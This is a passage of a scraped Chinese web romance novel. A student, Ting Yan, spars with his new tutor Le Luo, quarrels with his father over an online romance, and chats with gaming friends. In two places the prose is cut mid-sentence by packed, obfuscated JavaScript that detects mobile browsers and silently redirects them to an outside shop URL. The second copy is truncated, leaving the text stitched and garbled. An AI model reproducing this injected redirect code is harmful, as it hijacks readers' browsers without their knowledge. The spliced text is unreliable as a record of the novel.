她实在不知如何接话,不去看旁边那双看热闹的眼神,咬着下唇保持沉默。 汀砚站出来打破了沉默:“爹,您把人夸害羞了。” “哦哦哦,小状元我没读过多少书,不会夸人,只会说些大白话,你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854915|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介意哈。” 汀建宏不是含蓄的人,是喜是恶都写在脸上,听汀砚的话,只当自己吓到了乐落,慌忙转移了话题。 “小状元,汀砚这小子成绩不差,就是偏科言重,以前还行,家里穷还知道读书改变命运,如今家庭条件好了,他没以前那个心劲了,人也跟着懒了,英语和语文这两科的老师不知道找我多少遍了,我说也说了骂也骂了,他偏说老师的教学方法不适合他。” 汀砚可不是任由别人泼脏水的性格,哪怕是他爹泼的也不行。 他说起来也是有理:“本来就是,那鸟老师的口音比美国土著还野,我不按照他的读法读,说我不标准,给我穿小鞋天天让我抄写单词,写得难看还说我敷衍他,我那字哪个老师不知道,还是挡不住他给我穿小鞋。” 汀建宏一听火气就上来了:“人是老师,你身为一个学生,不想着提高英语水平,天天想着挑老师的问题,鸟老师,什么鸟老师!” 他缓口气:“你上课睡觉作业没交,哪件算冤枉你了,班里的平均分被你拉下一两分,还怨老师给你穿小鞋,没让你光着脚丫子就不错了,倒是你不反思,现在还有理了?我现在还记得,当时李老师把我叫到学校,你当时蒙着外套睡觉,睡得像一头死猪,我当时……” 汀砚实在不愿意回忆,认了输:“得得得,全是我的错,我全责行了吧?” 汀建宏不满他认错的态度:“什么叫行了吧?” 汀砚的唇角绷直,生硬憋出四个字:“我的问题。” 乐落忍住没笑出声。 汀建宏还在加大火力:“小状元老师,他以后要是对你这个态度,你直接给我打电话,放心,我有的是手段收拾他。” 乐落抬眼看了下汀砚,看到对方用指尖蹭了下鼻尖,不服又不能说。 她忍不住翘起唇,拘谨感少了几分,声音都带着轻快:“嗯。” 汀建宏又想起一件烦心事:“小状元老师,还得麻烦你把他看紧一些,他小小年纪不学好,学着人在电脑上谈恋爱,网络里真真假假,骗子遍地都是,我就怕他脑子缺根筋,到时候被人骗了还美滋滋给人数钱。” 乐落意外写在脸上。 她没想到汀砚能与网恋扯上关系,连看他的眼神里带着怀疑。 汀建宏几句话就把汀砚的底子一股脑全倒了出来:“他一根筋,无论谁劝都不好使,就认为在网上遇见真爱了,那隔着一个屏幕,是同龄人还是老阿姨都不说了,是男是女都说不好,这要是……” “爹。”汀砚拧着眉,脸上带着方才没有的浮躁:“这是我的事,用不着您操心。” “你没满十八岁,你就得听我的,你爹我都到了这个岁月,在你爷爷面前不也和你这个孙子差不多。” 汀建宏嗓门拔高,没听到汀砚反驳,才算停止攻击:“小状元,还得让你多费些心,我就怕这臭小子私下和网友见面,万一被人骗到山窝窝里,网友骗财又骗色,我老汀家就绝后了。” 乐落难得占上风,眼神上挑,看了他吃瘪的模样,心情好得不行:“好的叔叔,有什么情况我会通知您。” 隔着屏幕都能想象汀建宏的笑,一连说了几个“好”后,他生出了不该有的心思:“小状元,我自家儿子我清楚,除了有些无伤大雅的小毛病外,大问题那是绝对没有。不少合伙人也见过他,都说这小子随他妈,长相那叫一个没的说,刚一出生,肤白大眼,多少年了村里都没出过这么好看的小孩,满月酒那天,大家轮着抱都不舍得撒手。” 乐落虽然不想承认,但事实摆在面前。 汀建宏并不是亲爸滤镜。 尤其是汀砚这种,高鼻薄唇,五官优越,恣意散漫的性格里又夹杂着蔫坏,在学校里绝对是少女芳心的收割机。 还好,她十八岁了。 已经跨过适合一见钟情的少女时代,也没有不撞南墙不死心的执念,更重要的是她有喜欢的人。 只是面对汀建宏的言外之意,她左右不好回应,越过手机,望向同样眉头紧蹙的汀砚。 10. Chapter 010 这两人各有各的想法。 只有当事人汀砚觉得面上有些挂不住。 唇线绷直,低气压笼罩着他周围。 不满的态度,原因无非就是这两位父亲的态度。 乐晋昀见了他是左右防备,生怕一不留意宝贝疙瘩被偷走,而他在汀建宏的眼里,则是临近保质期的零食,在商场大促间大喇叭吆喝着“买不了吃亏买不了上当”,生怕砸自己手里疯狂营销。 “爹,”他吁叹一口气:“我知道您想要家里有书香气,我这不是在努力吗?您就等下一年高考,我肯定让您扬眉吐气,您就别在这里想乱点鸳鸯谱了。” 他想到乐晋昀的防备,与汀建宏的态度对比,只怕乐落也觉得自己好笑:“我也不是小孩了,很多事情有自己的判断,比起多余的担心,我更希望您能信任我,尤其是交朋友这一方面。” 汀建宏也意识到他的认真,连叹三声,驾轻就熟地卖惨:“行行行,儿大不由爹,老了老了,儿大不由爹,管的多了遭人嫌。” 要是以往,汀砚都用打趣的方式缓和气氛,只不过这次,他不想在这件事上含糊,闷声沉默。 在缄默声中,汀建宏着实伤了心,再没了侃侃而谈的劲:“我这边还有事,小状元老师先不和您说了,有事随时给我打电话。” 乐落点头:“好。” 知道自己伤了老头的心,汀砚正犹豫自己说些什么软话,听到两人互相说了再见,他把手机凑近耳朵:“爹……” 刚开口,手机里就传来忙音。 得,看这挂断手机的速度,一时半会哄不好了。 他按灭手机装进兜里,抬起头对上对面似笑非笑的眼,只想着随便找个话题缓解尴尬:“那什么,我爹他就这样,想到什么就说什么,你就当是空气,别放在心里。” 乐落眨了下眼,想到汀砚在乐晋昀面前请乐晋昀放心的自信,那股不舒服感还是涌了上来。 倒不是自恋,或者希望汀砚对自己感兴趣,是一种她解释不出的情绪蔓延,让她对这件小事格外耿耿于怀。 现在正好消解这份情绪。 她启唇,问得很直接:“你指哪句话?” 汀砚没想到她会这么问,耷拉着眼皮,将她那副小模样收入眼底。 按照这人对他冷淡的态度,就知道反常下必有妖。 “当然是我爹夸我长得好。”他张口就来,向前移一小步,低垂着头与她对视:“小老师也这么认为吗?” 这句自恋的话将她雷得外焦里嫩。 乐落甚至后退一小步,拉开与他的距离,从客观上减少这句话的杀伤力。 她实在是想不到,有生之年能听到有人亲自在她面前说出这句话,尽管这句话夹杂着报复性,但她仍然不知道汀砚到底有多少自信,能够支撑着他完整叙述后,还要找她确认。 她不能露怯,沉默意味着认输,接下来一个月的补课时光,她可不想次次被人压一头。 她佯装淡定对上斜上方的眼神,硬着头皮道:“你这脸还行,但我见过的帅哥,比你吃得盐都多。” 汀砚乐了:“口气不小。” 他和自恋扯不上关系,但这张脸可是在男女老少各个年龄段通杀,在街上接受不少注目礼。 他敢保证,乐落这句话无异于吹牛。 “那就好。”单眼皮上挑,薄唇轻勾,他笑得蛊人:“本来我还担心,这一个月朝夕相处,小老师要是对我有别的想法,我还真不知道该怎么拒绝。” 听见这句话,乐落像是被踩到尾巴的猫,急得就差竖起耳朵表示愤怒。 她咬着后槽牙,圆溜溜的眼瞪着他,抬手指了指自己,又指了指对面,语气上扬:“你?我对你?我对你有想法?” 一连三句反问都不足以形容她的震惊。 汀砚依然是不痛不痒的表情,好整以暇地看着他,那悠然的表情无异于在逗一只猫。 只是这只猫无法接受他的逗弄,尖锐的爪子从毛发里伸出来,就等着纵身一跃,把他的脸抓成大花猫。 “你别开玩笑了?” 乐落的眼神坚定的像入党:“别说一个月,就算是一年,一辈子,你都在我面前摇晃,我也不可能对你产生想法。” 比起寡淡的表情,汀砚觉得她此刻抓狂的状态更生动,没忍住又撂下几个字:“小老师别下这么早定义,人生漫漫不知会发生什么变数。” 剧情超纲,对话不在服务区。 乐落本意是想用汀建宏推销汀砚的话,用她不可能喜欢汀砚的事实,让汀砚无地自容,好改变两人相处她占下风的相处模式。 没想到汀砚自信傍身,消化力极强,倒是她现在有种吃饱了撑住的感觉。 可箭在弦上不得不发。 哪怕没办法预测汀砚会出什么乱拳,她咬着后槽牙装凶:“不可能,根本不可能。” 汀砚歪着头,嘶了一声:“小老师这么肯定,是已经有喜欢的人了吗?” 头脑发胀,气血从脚底板逆流到头顶。 乐落鲜少会生出这种不受控的情绪,从神经释放的肾上腺素消磨着她的理智,对问题脱口而出:“当然!” 话音刚落,她就回过神,意识到情急之下说了真心话。 她秀眉高高耸起,就看着汀砚一副了然的表情,顿时火大:“关你什么事。” “关我大事。”汀砚欠儿吧唧地扯着唇:“你可是我小老师,我说我们缘分从哪里来,感情是在早恋这块,我还以为大学霸的心是冰冰的,没想到燃烧得比我还热烈。” 乐落听着耳尖发烫,全凭一口闷气吊着才没落荒而逃。 在调侃中,她划分出界限:“我和你不同。” 她顶着汀砚的视线,从牙缝里挤出几个字:“我成年了,你这是早恋。” 汀砚眯着眼,拖腔带调道:“老祖宗诚不欺我,以前我只当青出于蓝而胜于蓝是知识点,现在看来,是我肤浅了。” “……”乐落败得彻底,手臂伸直指向门口,惜字如金:“你,走!” 汀砚也就敢过过嘴瘾,可不敢把小老师真惹急了,后果还得是他赔着笑脸道歉。 “好,别气,我听你的。”他朝着门口移动,余光看着乐落气得像大包子鼓囊囊的双颊,一个没忍住:“乐叔叔不知道你谈恋爱了吧,不然,也不至于看我像看贼一样,监控都安排上了。” 乐落眼珠上移,白他一眼:“庸俗,你以为谁都和你一样,喜欢就要谈恋爱?” “哦?”汀砚刚打开门,听见这句话回过头:“不是吧?小老师是纯爱,还是暗恋?要是没追上,我给你出出招?” “嘭” 回应他的是剧烈的关门声。 听这动静也知道气得不轻,看来是没追上,至少和他一样还在考察期。 汀砚好心情地翘着唇角。 对着灰色的门笑了不知多少秒,等嘴角都笑僵硬了才回过神。 也不至于这么开心吧。 他收起笑容,反思着。 他打小就嘴皮子利落,其他人很难在口头上占到什么便宜,方才这一套连招,对他来说只是平常发挥,他这份愉悦倒显得不合时宜。 废了几个脑细胞没想明白,他也懒得去想,把一切简单的概括为“胜利的喜悦”,移步到了对门。 汀建宏请来的保洁速率很高,没几个小时就收拾干净了,屋内的布置与照片大差不差。 他是从苦日子熬过来的孩子,对居住环境可以简单到一张床,所以没打算改变屋内的设置。 收拾收拾能用就行,反正也住不长。这户房间布局与乐落家是镜面对照,他扫了眼客厅,朝前走了几米,转身进了书房。 书柜是定制的,又稍微磕碰的痕迹,不影响使用。 他环视一周,几秒后拨通一个电话:“喂,周哥,帮我配个电脑,待会给你发个地址,发到这边来,对还有,上次我去你那坐的电竞椅,也顺便给我发来。” 与周漾初的最初关系是网友,这人比他大八岁,在盛泽市开了个大型电竞酒店。 祖父辈在当地在民宿,背靠着山青水绿的盛泽市,作为久负盛名的旅游胜地,每年旅客量达到上亿,民宿收入不菲,周漾初是当地数得上的富二代。 两人以游戏为载体,周漾初的过分热情为基础,才得以发展为线下称兄道弟的关系。 当时暑假他去旅游,在周漾初的一百零八次邀请下,他才不情不愿地不远万里去面基。 这一见面一见如故,周漾初拉着他去见了七大姑八大姨,其重视程度不亚于带女朋友见家长,甚至他还收了一小叠红包。 拿人手软吃人手短,这声哥他喊得是心服口服。 周漾初看了眼陌生的地址:“你搬家了?怎么跑去栖淮市去了?” “说来话长。” 汀砚用四个字简单概括,也不是不愿意告诉周漾初,纯粹是这人打破砂锅问到底的性子,这一解释得好半天:“补课,找了个这边的家教。” 果不其然。 周漾初来了劲:“家教?男的还是女的?” “你管这么多呢。”汀砚知道他毛病又犯了。 “什么叫管得多?”周漾初振振有词:“我可是你的CP粉,不管任何人对我的官配造成影响,我都不会放过,哪怕你是当事人。” 汀砚轻哼一声,没搭腔。 周漾初继续试探:“电脑配多少价位的?” 汀砚扯唇,轻飘飘吐出两个字:“顶配。” 周漾初尾音上扬:“补课的话也就暑假这段时间吧,就一个月的时间,差不多不就行了,等回来当二手一卖,省得搬来搬去。” 汀砚物质欲极低,衣服只要合身都不会扔,也不追求名牌,唯独在电子产品这块,追求极致品质。 不过他懒得解释:“我自己会看着办。” 周漾初啧了一声:“用这么好的电脑?怎么怕网速不好,影响带妹?” “带你妹。”汀砚怎么听不出他的阴阳怪气,也不兜圈子:“网恋,够正经吧?” 周漾初终于听到了想听的话:“就冲你这句话,这顿饭都免了。” 汀砚跟着插科打诨:“叫那么多声哥没白叫。” “那必须。”周漾初话锋一转:“就凭这,你们俩结婚了,我能坐主桌吧?” 汀砚顺着他的话:“别说主桌,给你单开一桌都行。” 周漾初听着心情都美了,语气里带着显而易见的雀跃:“以前没见到你之前,真没想到你顶着这样一张脸搞网恋,那会儿我老是说想和你见一面,其实我心里也没底,我可是把你当做偶像崇拜,万一你长了一张抱歉的脸,真的会让我幻想破灭。” 汀砚嘁了一声:“怕你还天天喊着我见面?” “那当然。” 周漾初说起来理直气壮:“我像个舔狗一样天天给你发那么多消息,这不得见你一面,看看你值不值得我继续舔。” 汀砚没忍住翻个白眼:“这么说,我要是长得丑,你就不舔了?” “主要是我不能害我女神!”周漾初加重语气:“我倒是无所谓,你要是长得像只猴子,我肯定要拯救我女神于水火之中!” 汀砚听着他的言辞切切,不自觉翘起唇角:“还拯救人家?人家认识你是谁吗?” 周漾初想也二十有几岁,一身中二魂,热血的不像是地球孕育的生灵。 “这和认不认识没关系,女神她对我有救命之恩,滴水之恩当涌泉相报,何况是救命之恩,我就算豁出这条命也不能让肮脏之物玷污我的女神!” “玷污?”汀砚重复这两个字:“我看你也把自己打包过来得了,我正好要补语文,正好你也提高下母语水准,我看中国刑法要是加一条乱成词语判刑,你这条九年漏网之鱼肯定在第一波被捕的傻鱼里。” 论嘴毒,周漾初自知比不过,端起年龄大的架子:“什么傻鱼?我是你哥,你说你哥是条傻鱼,我看你也聪明不到哪里去。” 他向来是给点颜色开染坊,摆完谱后又问起自己关心的事:“你打探出来我女神去哪个学校读书了吗?” 汀砚想着这茬,头疼地捏起眉心:“不是你女神,应该我问你吧?” 周漾初想起邮箱里无人问津的数万条好友申请,哪怕是汀砚这般高难度攻略对象,也被他的毅力所折服舔了下来。 可女神就是女神,本就是高不可攀,数年下来,他连个好友位都没要到,平时都是消息都是从汀砚这里打探而来的。 里子虽然没有,但面子总归是要的。 他为这个问题找了个体面的理由:“你不知道追星要有理智,没有边界感那是私生饭,我正经追星人。” 汀砚没见过自己会自我安慰的人,伸手在书柜上比划了下放在什么位置合适,随口回道:“嘴在你身上,你当然爱怎么说怎么说。” 周漾初正给人开机,没留意到这句话,又想起什么“啊”了一声:“我说你不会谎报军情,这边告诉我什么都不知道,结果背着我偷偷去见我女神吧?” 汀砚差点被气笑。 他倒是想,不过事实惨烈,他现在是男是女都摸不清。 不过他嘴硬程度不输周漾初:“就算我这样做,你能拿我怎么办?” “怎么办?我直接扛起四十米大刀把你剁成肉泥,拌着黄瓜凉拌!” 周漾初光是想想这种可能,就气得直跳脚:“汀砚可不兴你这么做人嗷,我可是带你见过家长的,虽然少了一层血缘关系,但我们可是在佛祖前三拜,结为异姓兄弟的亲兄弟!” 汀砚在卧室溜达了一圈,这栋房子年久,但细微之处可见主人爱护有加,虽不比乐落家温馨,极简主义却也贴合他的风格。 他大抵估摸了下住进来要准备的清单,听着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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单调的角色选择,粗糙的建模环境,哪怕他投了不少广告费,转化率仍是低的无法直视。 “输掉一百万就收手”是他们所达成的共识,周漾初那段时间早起都要对着财神拜三拜,等他认命时,幸运女神降临在他的头上。 当时最火热的游戏ID“黑月亮”空降游戏,丝滑的技术配高端的游戏理解,在单人局的游戏内杀疯,连带着这款游戏的热度都在攀升。 他将“黑月亮”视为救世主,进行长达一个月的申请好友的轰炸,奈何对方爱答不理。 直到“猴子捞月”与“黑月亮”搭档,他才凭借永不降温的热脸贴上汀砚的冷屁股,后来“金箍葬花”CP的知名度攀升至顶流CP,游戏的热度多了一层保障。 只要“金箍葬花”不解散,老玩家就会坚持,新玩家就会入场。 而他的任务就是维护好这对CP的感情。 他的声音突然拔高:“我可以用单身一辈子的代价换你们两个百年好合。” 汀砚哼了一声:“要是百年不好合,我怕你是不会让我好过了。” 在周漾初的心里,“黑月亮”是正品,他顶多算是赠品。 “怎么会?我女神是我女神,但你也是我好兄弟啊!”周漾初张口就来。 汀砚敷衍地“嗯”了声。 “行了,赶紧把东西给我发来,这几天估计就要用。” 通话结束。 他也走到了楼下,随手拦了辆出租车报了目的地,闭目养神间,脑袋里全是周漾初那一声声抑扬顿挫的“女神”声。 莫名的脑海中就浮现乐落的模样。 他的大月亮应该也是这么小小巧巧的模样,单纯又倔强,像一只不服输的小猫,只要吃亏找准机会就随时反扑。 意识到自己的代入后,汀砚懊恼地半眯着眼,甩了下头,将一切想象按下暂停。 他的大月亮举世无双,不该被他不礼貌地投射到任何人的身上。 话虽这么说,但他心里其实没底,哪怕周漾初天天女神叫个不停,但像他爹说的那样,网络世界真真假假,本就是无迹可寻。 万一他的大月亮不是女生,是个一米八的彪形大汉,他又该何去何从。 从十四岁开始的陪伴,天南海北的话题,前所未有的灵魂契合,他的心动早像初春时的狂草疯长,难以抑制,无法停歇。 可现实摆在眼前,他曾无数次开玩笑般地试探,没得到回答时,竟是松一口气。 他期待结果,又无比害怕结果。 他甚至试图接受自己喜欢上同性的事实,可汀建宏要是知道他和男人搞暧昧,怕是明天就会炸了地球。 出租车停在悦嘉酒店—栖淮市最奢华的酒店门口。 他收回心神,刚想给约他在这里见面的某人发信息时,屏幕亮起,显示着“螃蟹”的两个字。 “有事?” 他和人交流有个规矩,越熟字越少,比如对谢毅衡这种从小穿一条裤子的交情,两个字能解决的对话坚决不说三个字。 谢毅衡声音极具少年感。 周围同龄人声线变粗,而他好像越过了这个阶段,隔着屏幕很难想象是个接近成年人的男生发出的声音:“草哥,这才分开几天,就这么冷冰冰的?你外面是养其他狗了吗?” 汀砚习惯他说话的无厘头,两人平时沟通基本都是软件上,谢毅衡这会用电话联系,估计是有什么正经的事。 “少贫,有事说事。” 他说话间的功夫给置顶的联系人发去了消息,而后又耳提面命地纠正:“说了多少遍了,我们都长大了,上不了台面的小名能改就改了吧,天天草哥草哥显得你素质很低。” 谢毅衡答应的没什么诚意,着急忙慌地说自己的事:“我看花姐的通告了,和你去的地方是一个城市,你们会见面吧?” 汀砚抬了下眉眼:“所以?” “帮我要个签名照。” 谢毅衡笑声里弥漫着幸福:“马上就要上高三了,我准备把这张签名照贴在我课桌上,有花姐的鼓励,我高三肯定会创造一个奇迹!” 汀砚没说答应也没拒绝,只针对他的称呼评论:“还花姐?她要是知道你还喊这个土到冒泡的称呼,怕是会把你的脑袋拧下来,在你的脑门上签上大名。” 谢毅衡有自己的坚持:“我不管,这是属于我们的羁绊,就算是要了我的命,死在花姐手上我也甘愿。” 汀砚哼了一声:“你也就只能在我这里逞逞能,等见到你花姐,到时候怕是一个屁都放不出来。” “谁说的,” 谢毅衡反驳的角度清奇:“身为花姐的小粉丝,彩虹屁是必备技能,我在追星吧的软件上靠着彩虹屁收割了好几万个粉丝,在花姐数千万的粉丝里都小有名气。” 汀砚没理会对面的侃侃而谈,看着从酒店出来浑身包裹的只剩下一双眼睛的某人。 他恶趣味地开了免提:“你偶像就在我身边,我开了外音,你亲自说。” 谢毅衡那边寂静了好几秒。 紧接着一声夹到极致的声音从话筒里传过来:“渺渺姐,好久不见哦,我是草哥的铁哥们,你还记得我吗?过年我们还见过一面?” 听着山路十八弯的腔调。 汀砚冷哼一声:“出息。”